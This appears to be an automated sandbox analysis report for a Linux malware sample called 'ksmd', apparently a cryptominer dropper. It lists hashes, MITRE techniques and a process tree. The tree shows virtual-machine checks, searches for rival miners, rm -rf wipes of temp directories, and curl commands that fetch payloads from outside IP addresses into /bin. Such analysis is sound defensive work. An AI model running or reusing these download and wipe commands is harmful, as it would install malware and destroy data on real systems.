5917b613c1eb3eebbbd2e7a5ca3ed1ce327e27aceaf9153bb7fafed59f0e40d4

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/08/2026, 18:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ksmd
Size 40KB
Sample260808-wyds9ssfkd
SHA256 5917b613c1eb3eebbbd2e7a5ca3ed1ce327e27aceaf9153bb7fafed59f0e40d4
MD5 da287cddb90477a633ba9395caba4e27
SHA1 1bcfdc38ffc1cf643314e8c0c02287116f583a72
SHA512 d95d2b865bc1b6f1e7073c259af33eaebc697c14f850cb3c7ebbe059d7b9fc16b44c9d5f30f1c6f8de115bb3d4005d5ba1a6653aa73d71e5bb781e9ac09174e2
SSDEEP 768:QX/MLDocCEHOaY8buxlT2wVWvWi7aEcFcPP/RQIuiDcCeVl:U/MLDoYudPEfPP/GiDil
TLSH
T1F203B69DE420EDB13964C861AED23214F49D905FC5737A88BE6D393C2B64248F8F526F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 3 IoCs

description	ioc	Process
File opened for modification	/bin/javab	curl
File opened for modification	/bin/javab	curl
File opened for modification	/bin/ksmd	curl

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 13 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs	find
File opened for reading	/sys/dev	find
File opened for reading	/sys/firmware	find
File opened for reading	/sys/hypervisor	find
File opened for reading	/sys/kernel	find
File opened for reading	/sys/bus	find
File opened for reading	/sys/power	find
File opened for reading	/sys/module	find
File opened for reading	/sys/module	find
File opened for reading	/sys/class	find
File opened for reading	/sys/firmware	find
File opened for reading	/sys/class	find
File opened for reading	/sys/power	find
File opened for reading	/sys/block	find
File opened for reading	/sys/module	find
File opened for reading	/sys/fs	find
File opened for reading	/sys/fs	find
File opened for reading	/sys/block	find
File opened for reading	/sys/class	find
File opened for reading	/sys/class	find
File opened for reading	/sys/kernel	find
File opened for reading	/sys/hypervisor	find
File opened for reading	/sys/class	find
File opened for reading	/sys/firmware	find
File opened for reading	/sys/class	find
File opened for reading	/sys/kernel	find
File opened for reading	/sys/fs	find
File opened for reading	/sys/hypervisor	find
File opened for reading	/sys/devices	find
File opened for reading	/sys/class	find
File opened for reading	/sys/kernel	find
File opened for reading	/sys/fs	find
File opened for reading	/sys/kernel	find
File opened for reading	/sys/fs	find
File opened for reading	/sys/fs	find
File opened for reading	/sys/dev	find
File opened for reading	/sys/firmware	find
File opened for reading	/sys/kernel	find
File opened for reading	/sys/block	find
File opened for reading	/sys/fs	find
File opened for reading	/sys/bus	find
File opened for reading	/sys/firmware	find
File opened for reading	/sys/dev	find
File opened for reading	/sys/power	find
File opened for reading	/sys/devices	find
File opened for reading	/sys/class	find
File opened for reading	/sys/bus	find
File opened for reading	/sys/hypervisor	find
File opened for reading	/sys/kernel	find
File opened for reading	/sys/bus	find
File opened for reading	/sys/class	find
File opened for reading	/sys/hypervisor	find
File opened for reading	/sys/bus	find
File opened for reading	/sys/firmware	find
File opened for reading	/sys/hypervisor	find
File opened for reading	/sys/block	find
File opened for reading	/sys/power	find
File opened for reading	/sys/dev	find
File opened for reading	/sys/bus	find
File opened for reading	/sys/power	find
File opened for reading	/sys/block	find
File opened for reading	/sys/bus	find
File opened for reading	/sys/firmware	find
File opened for reading	/sys/dev	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/655/status	pgrep
File opened for reading	/proc/655/cmdline	pgrep
File opened for reading	/proc/28/cmdline	pgrep
File opened for reading	/proc/594/status	pgrep
File opened for reading	/proc/8/cmdline	pgrep
File opened for reading	/proc/831	find
File opened for reading	/proc/141	find
File opened for reading	/proc/78	find
File opened for reading	/proc/171/status	pgrep
File opened for reading	/proc/1/status	pgrep
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/320	find
File opened for reading	/proc/8	find
File opened for reading	/proc/299	find
File opened for reading	/proc/337/status	pgrep
File opened for reading	/proc/41/status	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/110/status	pgrep
File opened for reading	/proc/217/cmdline	pgrep
File opened for reading	/proc/306/status	pgrep
File opened for reading	/proc/100/cmdline	pgrep
File opened for reading	/proc/filesystems	pgrep
File opened for reading	/proc/593	find
File opened for reading	/proc/8	find
File opened for reading	/proc/14/status	pgrep
File opened for reading	/proc/672	find
File opened for reading	/proc/12	find
File opened for reading	/proc/25	find
File opened for reading	/proc/141	find
File opened for reading	/proc/27	find
File opened for reading	/proc/944	find
File opened for reading	/proc/337	find
File opened for reading	/proc/41/status	pgrep
File opened for reading	/proc/641/cmdline	pgrep
File opened for reading	/proc/648/status	pgrep
File opened for reading	/proc/302	find
File opened for reading	/proc/sys	find
File opened for reading	/proc/15	find
File opened for reading	/proc/9	find
File opened for reading	/proc/137/status	pgrep
File opened for reading	/proc/673/cmdline	pgrep
File opened for reading	/proc/301/cmdline	pgrep
File opened for reading	/proc/17	find
File opened for reading	/proc/916	find
File opened for reading	/proc/9	find
File opened for reading	/proc/594	find
File opened for reading	/proc/155/status	pgrep
File opened for reading	/proc/fs	find
File opened for reading	/proc/22/status	pgrep
File opened for reading	/proc/318/status	pgrep
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/2	find
File opened for reading	/proc/141	find
File opened for reading	/proc/tty	find
File opened for reading	/proc/141/cmdline	pgrep
File opened for reading	/proc/6	find
File opened for reading	/proc/27/cmdline	pgrep
File opened for reading	/proc/12/status	pgrep
File opened for reading	/proc/28/cmdline	pgrep
File opened for reading	/proc/4	find
File opened for reading	/proc/137	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/155	find
File opened for reading	/proc/18	find

/tmp/ksmd
/tmp/ksmd
1⤵
PID:652
- /usr/bin/which
  which cd1
  2⤵
  PID:654
- /usr/bin/which
  which wd1
  2⤵
  PID:657
- /usr/bin/pgrep
  pgrep -f xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:660
- /usr/bin/pgrep
  pgrep -f minerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:670
- /usr/bin/pgrep
  pgrep -f cpuminer
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:678
- /usr/bin/pgrep
  pgrep -f ethminer
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:682
- /usr/bin/pgrep
  pgrep -f nbminer
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:685
- /usr/bin/pgrep
  pgrep -f t-rex
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:686
- /usr/bin/pgrep
  pgrep -f lolminer
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:688
- /usr/bin/pgrep
  pgrep -f pheonixminer
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:689
- /usr/bin/pgrep
  pgrep -f bminer
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:690
- /usr/bin/pgrep
  pgrep -f gminer
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:691
- /usr/bin/pgrep
  pgrep -f teamredminer
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:692
- /usr/bin/pgrep
  pgrep -f nanominer
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:693
- /usr/bin/pgrep
  pgrep -f srbminer
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:694
- /usr/bin/find
  find /dev/shm -maxdepth 3 -name "*xmrig*" -type f
  2⤵
  PID:695
- /usr/bin/find
  find /dev/shm -maxdepth 3 -name "*minerd*" -type f
  2⤵
  PID:697
- /usr/bin/find
  find /dev/shm -maxdepth 3 -name "*cpuminer*" -type f
  2⤵
  - Reads runtime system information
  PID:699
- /usr/bin/find
  find /dev/shm -maxdepth 3 -name "*ethminer*" -type f
  2⤵
  PID:701
- /usr/bin/find
  find /dev/shm -maxdepth 3 -name "*nbminer*" -type f
  2⤵
  PID:703
- /usr/bin/find
  find /dev/shm -maxdepth 3 -name "*t-rex*" -type f
  2⤵
  PID:705
- /usr/bin/find
  find /dev/shm -maxdepth 3 -name "*lolminer*" -type f
  2⤵
  PID:707
- /usr/bin/find
  find /dev/shm -maxdepth 3 -name "*pheonixminer*" -type f
  2⤵
  PID:709
- /usr/bin/find
  find /dev/shm -maxdepth 3 -name "*bminer*" -type f
  2⤵
  PID:711
- /usr/bin/find
  find /dev/shm -maxdepth 3 -name "*gminer*" -type f
  2⤵
  PID:713
- /usr/bin/find
  find /dev/shm -maxdepth 3 -name "*teamredminer*" -type f
  2⤵
  PID:715
- /usr/bin/find
  find /dev/shm -maxdepth 3 -name "*nanominer*" -type f
  2⤵
  PID:717
- /usr/bin/find
  find /dev/shm -maxdepth 3 -name "*srbminer*" -type f
  2⤵
  PID:719
- /usr/bin/find
  find /tmp -maxdepth 3 -name "*xmrig*" -type f
  2⤵
  PID:721
- /usr/bin/find
  find /tmp -maxdepth 3 -name "*minerd*" -type f
  2⤵
  PID:723
- /usr/bin/find
  find /tmp -maxdepth 3 -name "*cpuminer*" -type f
  2⤵
  - Reads runtime system information
  PID:725
- /usr/bin/find
  find /tmp -maxdepth 3 -name "*ethminer*" -type f
  2⤵
  PID:727
- /usr/bin/find
  find /tmp -maxdepth 3 -name "*nbminer*" -type f
  2⤵
  PID:729
- /usr/bin/find
  find /tmp -maxdepth 3 -name "*t-rex*" -type f
  2⤵
  PID:731
- /usr/bin/find
  find /tmp -maxdepth 3 -name "*lolminer*" -type f
  2⤵
  PID:733
- /usr/bin/find
  find /tmp -maxdepth 3 -name "*pheonixminer*" -type f
  2⤵
  PID:735
- /usr/bin/find
  find /tmp -maxdepth 3 -name "*bminer*" -type f
  2⤵
  PID:737
- /usr/bin/find
  find /tmp -maxdepth 3 -name "*gminer*" -type f
  2⤵
  PID:739
- /usr/bin/find
  find /tmp -maxdepth 3 -name "*teamredminer*" -type f
  2⤵
  PID:741
- /usr/bin/find
  find /tmp -maxdepth 3 -name "*nanominer*" -type f
  2⤵
  PID:743
- /usr/bin/find
  find /tmp -maxdepth 3 -name "*srbminer*" -type f
  2⤵
  PID:745
- /usr/bin/find
  find /var/tmp -maxdepth 3 -name "*xmrig*" -type f
  2⤵
  PID:747
- /usr/bin/find
  find /var/tmp -maxdepth 3 -name "*minerd*" -type f
  2⤵
  PID:749
- /usr/bin/find
  find /var/tmp -maxdepth 3 -name "*cpuminer*" -type f
  2⤵
  PID:753
- /usr/bin/find
  find /var/tmp -maxdepth 3 -name "*ethminer*" -type f
  2⤵
  PID:756
- /usr/bin/find
  find /var/tmp -maxdepth 3 -name "*nbminer*" -type f
  2⤵
  PID:759
- /usr/bin/find
  find /var/tmp -maxdepth 3 -name "*t-rex*" -type f
  2⤵
  PID:762
- /usr/bin/find
  find /var/tmp -maxdepth 3 -name "*lolminer*" -type f
  2⤵
  PID:765
- /usr/bin/find
  find /var/tmp -maxdepth 3 -name "*pheonixminer*" -type f
  2⤵
  PID:768
- /usr/bin/find
  find /var/tmp -maxdepth 3 -name "*bminer*" -type f
  2⤵
  PID:771
- /usr/bin/find
  find /var/tmp -maxdepth 3 -name "*gminer*" -type f
  2⤵
  PID:774
- /usr/bin/find
  find /var/tmp -maxdepth 3 -name "*teamredminer*" -type f
  2⤵
  PID:777
- /usr/bin/find
  find /var/tmp -maxdepth 3 -name "*nanominer*" -type f
  2⤵
  PID:780
- /usr/bin/find
  find /var/tmp -maxdepth 3 -name "*srbminer*" -type f
  2⤵
  PID:783
- /usr/bin/find
  find . -maxdepth 3 -name "*xmrig*" -type f
  2⤵
  PID:786
- /usr/bin/find
  find . -maxdepth 3 -name "*minerd*" -type f
  2⤵
  PID:789
- /usr/bin/find
  find . -maxdepth 3 -name "*cpuminer*" -type f
  2⤵
  PID:792
- /usr/bin/find
  find . -maxdepth 3 -name "*ethminer*" -type f
  2⤵
  PID:795
- /usr/bin/find
  find . -maxdepth 3 -name "*nbminer*" -type f
  2⤵
  PID:798
- /usr/bin/find
  find . -maxdepth 3 -name "*t-rex*" -type f
  2⤵
  PID:801
- /usr/bin/find
  find . -maxdepth 3 -name "*lolminer*" -type f
  2⤵
  PID:804
- /usr/bin/find
  find . -maxdepth 3 -name "*pheonixminer*" -type f
  2⤵
  PID:807
- /usr/bin/find
  find . -maxdepth 3 -name "*bminer*" -type f
  2⤵
  PID:811
- /usr/bin/find
  find . -maxdepth 3 -name "*gminer*" -type f
  2⤵
  PID:813
- /usr/bin/find
  find . -maxdepth 3 -name "*teamredminer*" -type f
  2⤵
  PID:817
- /usr/bin/find
  find . -maxdepth 3 -name "*nanominer*" -type f
  2⤵
  PID:820
- /usr/bin/find
  find . -maxdepth 3 -name "*srbminer*" -type f
  2⤵
  PID:823
- /usr/bin/find
  find .. -maxdepth 3 -name "*xmrig*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  PID:826
- /usr/bin/find
  find .. -maxdepth 3 -name "*minerd*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:845
- /usr/bin/find
  find .. -maxdepth 3 -name "*cpuminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:848
- /usr/bin/find
  find .. -maxdepth 3 -name "*ethminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  PID:850
- /usr/bin/find
  find .. -maxdepth 3 -name "*nbminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  PID:852
- /usr/bin/find
  find .. -maxdepth 3 -name "*t-rex*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  PID:854
- /usr/bin/find
  find .. -maxdepth 3 -name "*lolminer*" -type f
  2⤵
  PID:863
- /usr/bin/find
  find .. -maxdepth 3 -name "*pheonixminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  PID:876
- /usr/bin/find
  find .. -maxdepth 3 -name "*bminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:888
- /usr/bin/find
  find .. -maxdepth 3 -name "*gminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:893
- /usr/bin/find
  find .. -maxdepth 3 -name "*teamredminer*" -type f
  2⤵
  PID:896
- /usr/bin/find
  find .. -maxdepth 3 -name "*nanominer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  PID:898
- /usr/bin/find
  find .. -maxdepth 3 -name "*srbminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:900
- /usr/bin/find
  find ../.. -maxdepth 3 -name "*xmrig*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  PID:902
- /usr/bin/find
  find ../.. -maxdepth 3 -name "*minerd*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  PID:904
- /usr/bin/find
  find ../.. -maxdepth 3 -name "*cpuminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  PID:906
- /usr/bin/find
  find ../.. -maxdepth 3 -name "*ethminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:908
- /usr/bin/find
  find ../.. -maxdepth 3 -name "*nbminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:910
- /usr/bin/find
  find ../.. -maxdepth 3 -name "*t-rex*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:912
- /usr/bin/find
  find ../.. -maxdepth 3 -name "*lolminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:914
- /usr/bin/find
  find ../.. -maxdepth 3 -name "*pheonixminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:916
- /usr/bin/find
  find ../.. -maxdepth 3 -name "*bminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  PID:918
- /usr/bin/find
  find ../.. -maxdepth 3 -name "*gminer*" -type f
  2⤵
  - Reads runtime system information
  PID:920
- /usr/bin/find
  find ../.. -maxdepth 3 -name "*teamredminer*" -type f
  2⤵
  - Reads runtime system information
  PID:922
- /usr/bin/find
  find ../.. -maxdepth 3 -name "*nanominer*" -type f
  2⤵
  - Reads runtime system information
  PID:924
- /usr/bin/find
  find ../.. -maxdepth 3 -name "*srbminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  PID:926
- /usr/bin/find
  find ../../.. -maxdepth 3 -name "*xmrig*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:928
- /usr/bin/find
  find ../../.. -maxdepth 3 -name "*minerd*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  PID:930
- /usr/bin/find
  find ../../.. -maxdepth 3 -name "*cpuminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:932
- /usr/bin/find
  find ../../.. -maxdepth 3 -name "*ethminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:934
- /usr/bin/find
  find ../../.. -maxdepth 3 -name "*nbminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:936
- /usr/bin/find
  find ../../.. -maxdepth 3 -name "*t-rex*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:938
- /usr/bin/find
  find ../../.. -maxdepth 3 -name "*lolminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:940
- /usr/bin/find
  find ../../.. -maxdepth 3 -name "*pheonixminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:942
- /usr/bin/find
  find ../../.. -maxdepth 3 -name "*bminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:944
- /usr/bin/find
  find ../../.. -maxdepth 3 -name "*gminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:946
- /usr/bin/find
  find ../../.. -maxdepth 3 -name "*teamredminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:948
- /usr/bin/find
  find ../../.. -maxdepth 3 -name "*nanominer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:950
- /usr/bin/find
  find ../../.. -maxdepth 3 -name "*srbminer*" -type f
  2⤵
  - Enumerates kernel/hardware configuration
  PID:952
- /usr/bin/id
  id -u
  2⤵
  PID:954
- /bin/rm
  rm -rf /tmp/ksmd /tmp/systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-rqfoac
  2⤵
  PID:955
- /bin/rm
  rm -rf /var/tmp/systemd-private-77c775e4437540bbb511676ed39b168c-systemd-timedated.service-28FA9n
  2⤵
  PID:956
- /bin/rm
  rm -rf "/dev/shm/*"
  2⤵
  PID:957
- /usr/bin/id
  id -u
  2⤵
  PID:958
- /bin/rm
  rm -f /bin/ksmd
  2⤵
  PID:962
- /usr/bin/curl
  curl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://34.70.205.211/plugins-dist/safehtml/lang/font/ksmd
  2⤵
  - Checks CPU configuration
  PID:963
- /bin/sleep
  sleep 2
  2⤵
  PID:966
- /bin/rm
  rm -f /bin/ksmd
  2⤵
  PID:967
- /usr/bin/curl
  curl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://34.70.205.211/plugins-dist/safehtml/lang/font/ksmd
  2⤵
  - Checks CPU configuration
  PID:968
- /bin/sleep
  sleep 2
  2⤵
  PID:974
- /bin/rm
  rm -f /bin/ksmd
  2⤵
  PID:976
- /usr/bin/curl
  curl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://34.70.205.211/plugins-dist/safehtml/lang/font/ksmd
  2⤵
  - Checks CPU configuration
  PID:977
- /bin/sleep
  sleep 2
  2⤵
  PID:978
- /bin/rm
  rm -f /bin/ksmd
  2⤵
  PID:983
- /usr/bin/curl
  curl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd https://69.30.251.156/library/Payment/Adapter/PAYEER/ksmd
  2⤵
  - Writes file to system bin folder
  - Checks CPU configuration
  PID:984
- /bin/rm
  rm -f /bin/javab
  2⤵
  PID:995
- /usr/bin/curl
  curl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/javab https://69.30.251.156/library/Payment/Adapter/PAYEER/javab
  2⤵
  - Writes file to system bin folder
  - Checks CPU configuration
  PID:996
- /bin/sleep
  sleep 2
  2⤵
  PID:1009
- /bin/rm
  rm -f /bin/javab
  2⤵
  PID:1010
- /usr/bin/curl
  curl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/javab https://69.30.251.156/library/Payment/Adapter/PAYEER/javab
  2⤵
  - Writes file to system bin folder
  - Checks CPU configuration
  PID:1011

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

javab

Path /bin/javab
Size 576KB
SHA256 7aeb6d2d4c17f5fb263faf1ffa92144d8416470227e01d7f6ae33edce92c5719
MD5 258125333cd85518d4b539b71785b1dc
SHA1 612eda4e2288545111d2135895531137c19682a7
SHA512 90d8c7c609e4d6c6babcd2bd15e84e0601293d5f726832c7d8d0e486eb657d844d54da7a5d81b6182281040ca325adc68dc5efc6a18be379b778609ca943694a
SSDEEP 6144:gkTqq12t9fStoIcTKhsE5KVdBERzdTo6DG+FE7KE+kWTomKF33ZVPeydIH3d1LK+:a6DbJhTPDG+CKdMmKY1LISmEV/RgVrG
TLSH
T130C43A0BA59390FCC5EAC0350B5F9533AA71B86D82243BBB25D4AB712F73E50971EB11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

javab

Path /bin/javab
Size 156KB
SHA256 439bbb4f6e1f34eebe543602def2edd0fc6161ab912a90c5ab32857e39f2c859
MD5 7b4f294800ecc1232c7c63da7d153b30
SHA1 4da316c645f6315b1235289a7aada59f13b155d4
SHA512 4a053a46db5f3c69886264e55721c33d81caec6226bfdfd73f46b862145ab9e2d0d07102efad37b2a9872ec62f164ef23a50142dfda8f493063b53e05ca064a1
SSDEEP 3072:L0kTqq12t98aOvtoIhfei3kTCGuJHRGEDrGF3iyUoRJWgzEL:gkTqq12t9fStoIcTKhsE5Km
TLSH
T182F3291BD2A360FDC1D6C37A43AF5522A9A1BCA882203E3F55D4EB721F61F50D349B61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ksmd

Path /bin/ksmd
Size 40KB
SHA256 5917b613c1eb3eebbbd2e7a5ca3ed1ce327e27aceaf9153bb7fafed59f0e40d4
MD5 da287cddb90477a633ba9395caba4e27
SHA1 1bcfdc38ffc1cf643314e8c0c02287116f583a72
SHA512 d95d2b865bc1b6f1e7073c259af33eaebc697c14f850cb3c7ebbe059d7b9fc16b44c9d5f30f1c6f8de115bb3d4005d5ba1a6653aa73d71e5bb781e9ac09174e2
SSDEEP 768:QX/MLDocCEHOaY8buxlT2wVWvWi7aEcFcPP/RQIuiDcCeVl:U/MLDoYudPEfPP/GiDil
TLSH
T1F203B69DE420EDB13964C861AED23214F49D905FC5737A88BE6D393C2B64248F8F526F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads